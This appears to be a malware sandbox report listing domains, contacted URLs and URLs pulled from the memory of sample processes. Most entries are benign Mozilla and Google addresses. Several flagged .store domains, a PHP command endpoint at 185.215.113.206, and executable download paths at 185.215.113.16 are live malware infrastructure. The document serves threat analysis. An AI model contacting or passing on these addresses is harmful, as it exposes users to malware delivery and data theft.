Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	unknown
star-mini.c10r.facebook.com	157.240.253.35	true	false	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	unknown
twitter.com	104.244.42.65	true	false	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
services.addons.mozilla.org	151.101.1.91	true	false	unknown
dyna.wikimedia.org	185.15.59.224	true	false	unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	unknown
contile.services.mozilla.com	34.117.188.166	true	false	unknown
youtube.com	142.250.185.206	true	false	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	unknown
youtube-ui.l.google.com	142.250.185.174	true	false	unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	unknown
reddit.map.fastly.net	151.101.1.140	true	false	unknown
ipv4only.arpa	192.0.0.170	true	false	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	unknown
push.services.mozilla.com	34.107.243.93	true	false	unknown
necklacedmny.store	188.114.96.3	true	true	unknown
normandy-cdn.services.mozilla.com	35.201.103.21	true	false	unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	unknown
www.reddit.com	unknown	unknown	false	unknown
spocs.getpocket.com	unknown	unknown	false	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false	unknown
presticitpo.store	unknown	unknown	true	unknown
support.mozilla.org	unknown	unknown	false	unknown
firefox.settings.services.mozilla.com	unknown	unknown	false	unknown
www.youtube.com	unknown	unknown	false	unknown
fadehairucw.store	unknown	unknown	true	unknown
www.facebook.com	unknown	unknown	false	unknown
detectportal.firefox.com	unknown	unknown	false	unknown
normandy.cdn.mozilla.net	unknown	unknown	false	unknown
thumbystriw.store	unknown	unknown	true	unknown
shavar.services.mozilla.com	unknown	unknown	false	unknown
crisiwarny.store	unknown	unknown	true	unknown
www.wikipedia.org	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
fadehairucw.store	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
founpiuer.store	true	unknown
presticitpo.store	true	unknown
navygenerayk.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2159437631.000000000530A000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649907630.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649658911.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649533430.0000000005724000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798475825.00000000061FA000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798265490.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2159437631.000000000530A000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649907630.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649658911.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649533430.0000000005724000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798475825.00000000061FA000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798265490.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/api8f	file.exe, 00000000.00000003.2336173364.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000002E.00000003.3056553256.0000020F30A15000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001C.00000002.2932128135.0000012157372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2932095953.0000029B41C86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3022867414.0000020F30AE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/n7a	b76bb5cee7.exe, 0000001D.00000002.2967959553.000000000155C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/ws	b76bb5cee7.exe, 0000000A.00000002.2767324044.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000030.00000002.3028252435.00000000014FF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000002E.00000003.3056553256.0000020F30A15000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 0000001A.00000003.2835306772.0000025E42431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2833374978.0000025E4240F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2836337904.0000025E42452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2832408126.0000025E42200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3056553256.0000020F30A15000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3056553256.0000020F30A1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3056553256.0000020F30A1D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/breach-details/	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001A.00000003.2835306772.0000025E42431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2833374978.0000025E4240F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2836337904.0000025E42452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2832408126.0000025E42200000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001A.00000003.2835306772.0000025E42431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2833374978.0000025E4240F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2832408126.0000025E42200000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exe3f	efe6fe4127.exe, 00000009.00000003.2834293641.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc	firefox.exe, 0000002E.00000003.2991326032.0000020F308BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2993734232.0000020F30A6A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://youtube.com/account?=https://ac	firefox.exe, 0000001C.00000002.2930946278.0000012157290000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.accounts.firefox.com/v1	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 00000021.00000002.2932095953.0000029B41CC7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/search#didSettingsMetaDataUpdate	firefox.exe, 0000002E.00000003.3056466204.0000020F30A8A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2159437631.000000000530A000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649907630.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649658911.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649533430.0000000005724000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798475825.00000000061FA000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798265490.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2192287354.000000000550D000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2679239829.0000000005729000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2843082489.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes	firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2159437631.000000000530A000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649907630.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649658911.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649533430.0000000005724000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798475825.00000000061FA000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798265490.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://go.microsoft.c	U2242U1STHGPPKHG.exe, 0000001E.00000002.3017329025.0000000000CCC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/JV	efe6fe4127.exe, 00000009.00000003.2713360207.0000000000B80000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	efe6fe4127.exe, 00000009.00000003.2831918485.0000000000B76000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/mine/random.exez	file.exe, 00000000.00000003.2336153066.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336129230.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/df	num.exe, 00000030.00000002.3028252435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1403293	firefox.exe, 0000002E.00000003.2981399452.0000020F2FD43000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/userABOUT_SPONSORED_TOP_SITEStopsites	firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	b76bb5cee7.exe, 0000000A.00000003.2721535335.00000000050CB000.00000004.00001000.00020000.00000000.sdmp, b76bb5cee7.exe, 0000000A.00000002.2766160676.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, b76bb5cee7.exe, 0000001D.00000002.2961232929.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, b76bb5cee7.exe, 0000001D.00000003.2862123172.000000000524B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2875624155.00000000002CC000.00000008.00000001.01000000.00000018.sdmp, num.exe, 00000030.00000000.3003390032.00000000002CC000.00000008.00000001.01000000.00000018.sdmp, num[1].exe.5.dr, num.exe.5.dr	false	URL Reputation: safe	unknown
http://185.215.113.206Ey	b76bb5cee7.exe, 0000000A.00000002.2767324044.000000000135E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggestPreferences/this._firefoxSuggestScenarioStartupPro	firefox.exe, 0000002E.00000003.3022867414.0000020F30AE2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/dashboard	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exeat	file.exe, 00000000.00000003.2336153066.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336129230.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/about	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/MPL/2.0/.	firefox.exe, 0000002E.00000003.2993412879.0000020F30ADB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2998404752.0000020F30AE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3054907147.0000020F382E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3010408169.0000020F30DC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2993614274.0000020F30AC4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/userABOUT_SPONSORED_TOP_SITES	firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://coverage.mozilla.org	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2192287354.000000000550D000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2679239829.0000000005729000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2843082489.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2192287354.000000000550D000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2679239829.0000000005729000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2843082489.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://blocked.cdn.mozilla.net/	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/p	file.exe, 00000000.00000003.2336153066.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336129230.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	efe6fe4127.exe, 0000000C.00000003.2849392911.00000000064E6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://svgwg.org/svg2-draft/struct.html#SymbolNotes:	firefox.exe, 0000002E.00000003.2981512771.0000020F2FD38000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://mozilla.cloudflare-dns.com/dns-query	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2159437631.000000000530A000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649907630.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649658911.0000000005721000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2649533430.0000000005724000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798475825.00000000061FA000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2798265490.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/	firefox.exe, 0000001A.00000003.2832408126.0000025E42200000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://merino.services.mozilla.com/api/v1/suggestresource://gre/modules/translation/LanguageDetecto	firefox.exe, 0000002E.00000003.3056553256.0000020F30A1F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/search	firefox.exe, 0000001A.00000003.2835306772.0000025E42431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2833374978.0000025E4240F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2836337904.0000025E42452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2832408126.0000025E42200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3056466204.0000020F30A8A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://relay.firefox.com/api/v1/	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations	firefox.exe, 0000002E.00000003.3006812484.0000020F30DC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.2979347381.0000020F2CA33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3010408169.0000020F30DC3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://topsites.services.mozilla.com/cid/	firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000003.2193594882.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2693716552.00000000056ED000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2693541904.00000000056EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2932128135.00000121573CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2932095953.0000029B41CC7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/	file.exe, file.exe, 00000000.00000003.2336212320.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336153066.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336129230.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/9k3	file.exe, 00000000.00000003.2336153066.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2336129230.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/complete/search	firefox.exe, 0000002E.00000003.3053296794.0000020F385DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3057332282.0000020F38638000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3057057500.0000020F38627000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php/)	num.exe, 00000030.00000002.3028252435.00000000014FF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/	efe6fe4127.exe, 0000000C.00000003.2839354396.0000000001A59000.00000004.00000020.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2895550351.0000000001A5B000.00000004.00000020.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2822426933.0000000001A56000.00000004.00000020.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2932514636.0000000001A71000.00000004.00000020.00020000.00000000.sdmp, efe6fe4127.exe, 0000000C.00000003.2937020002.00000000062C9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
